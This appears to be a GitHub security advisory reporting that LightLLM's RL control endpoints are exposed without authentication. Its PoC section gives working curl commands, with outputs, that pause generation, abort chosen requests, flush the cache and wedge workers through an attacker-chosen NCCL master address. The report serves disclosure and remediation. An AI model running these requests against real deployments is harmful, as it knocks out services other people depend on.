[BUG] RL control routes are mounted unconditionally on the public API without authentication, allowing generation pause, targeted aborts, cache flush and worker wedging #1609

Summary

LightLLM mounts its RL control routes on the public inference application unconditionally, and none of them require authentication. On deployments started with --enable_rl, any network peer of the HTTP port can pause all generation, abort arbitrary in-flight requests, flush the prompt cache, release memory occupation, and make the node join an NCCL process group with an attacker-chosen master address, which wedges inference workers until restart. Even without the flag the routes are still mounted and answer 500 or 417 instead of 404, which contradicts the CLI help text and the code comments that claim the routes are not started when the option is disabled. Suggested severity High, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5), CWE-306.

Details

lightllm/server/api_http.py includes the router without any condition:

from .api_http_rl import router as rl_router

app.include_router(rl_router)

lightllm/server/api_http_rl.py defines /abort_request, /pause_generation, /continue_generation, /flush_cache, /release_memory_occupation, /resume_memory_occupation, /init_weights_update_group, /destroy_weights_update_group, /update_weights_from_distributed, /update_weights_from_tensor and /update_weights_from_ipc. None of the handlers check a credential; LightLLM has no authentication layer at all. With --enable_rl they forward to the RL controller and work. Without the flag rl_controller is None, so the same routes fail with 500 or 417 ('NoneType' object has no attribute 'flush_cache') instead of 404.

Three sources claim this surface should not exist when the option is off: the --enable_rl CLI help ("When disabled (default), RL routes/services are not started"), the module comment in lightllm/server/httpserver/manager_ext.py ("RL HTTP 路由也仅在该开关下挂载"), and the intended design. The actual include_router call contradicts all of them.

Verified at commit 1eb4810c (v1.2.0+50); the same code is present at tag v1.2.0 and on current main (checked 2026-09-30).

PoC

Tested on Linux, LightLLM at commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6, Qwen2.5-0.5B-Instruct, one GPU, normal run mode with --enable_rl, HTTP port 8090. All calls come from plain curl with no authentication headers.

Pause the whole service and resume it:

curl -s -X POST http://<node>:8090/pause_generation
# -> 200 "Generation paused successfully."
# start a streaming completion now: it sends no first token
curl -s -X POST http://<node>:8090/continue_generation
# -> 200 "Generation continued successfully."
# the hung stream then completes; its time to first byte equals the pause window

Abort a targeted in-flight request (request ids are sequential and printed in the log as lightllm_req_id):

curl -s -X POST http://<node>:8090/abort_request -H 'Content-Type: application/json' -d '{"request_id": 88}'
# victim stream ends with finish_reason=abort; a concurrent request is unaffected

Flush the prompt cache and wedge the weight-update group:

curl -s http://<node>:8090/flush_cache
# -> 200 {"success":true,...}; prompt_cache_len drops from 18 to 0 for the next request
curl -s -X POST http://<node>:8090/release_memory_occupation -H 'Content-Type: application/json' -d '{}'
# -> 200 {"success":true,...}
curl -s -X POST http://<node>:8090/init_weights_update_group -H 'Content-Type: application/json' \
  -d '{"master_address": "127.0.0.1", "master_port": 29999, "rank_offset": 1, "world_size": 2}'
# node log: "init custom process group: master_address=127.0.0.1, master_port=29999, ..., backend=nccl"
# inference workers block in the rendezvous and generate times out until the node is restarted

The init_weights_update_group call is not rejected as unauthorized; the node connects out to the attacker-supplied master address. We did not complete a full weight replacement, so no model poisoning is claimed.

Negative control, same binary started without --enable_rl:

curl -s -X POST http://<node>:8092/pause_generation   # -> 500
curl -s http://<node>:8092/flush_cache                # -> 417 'NoneType' object has no attribute 'flush_cache'

The routes exist (not 404), which proves the unconditional mounting. All results reproduced across three cold starts, and pause, continue and flush also returned 200 when called from a second host. Expected correct behavior: mount the RL routes only when --enable_rl is set, and require a control-plane credential separate from the inference API.

Impact

Missing authentication for critical functionality (CWE-306). The attacker needs only network access to the inference port of an RL-enabled deployment, which is the documented setup for online RL training with LightLLM. Demonstrated availability impact: pause all generation cluster-wide, kill arbitrary in-flight requests, wipe the prompt cache, and wedge inference workers in an attacker-controlled NCCL rendezvous until restart. The weight-update endpoints accept unauthenticated calls as well; a full weight replacement requires a working distributed group, which was not weaponized, so integrity impact is noted as a risk rather than claimed. This surface is not covered by any previously issued LightLLM advisory.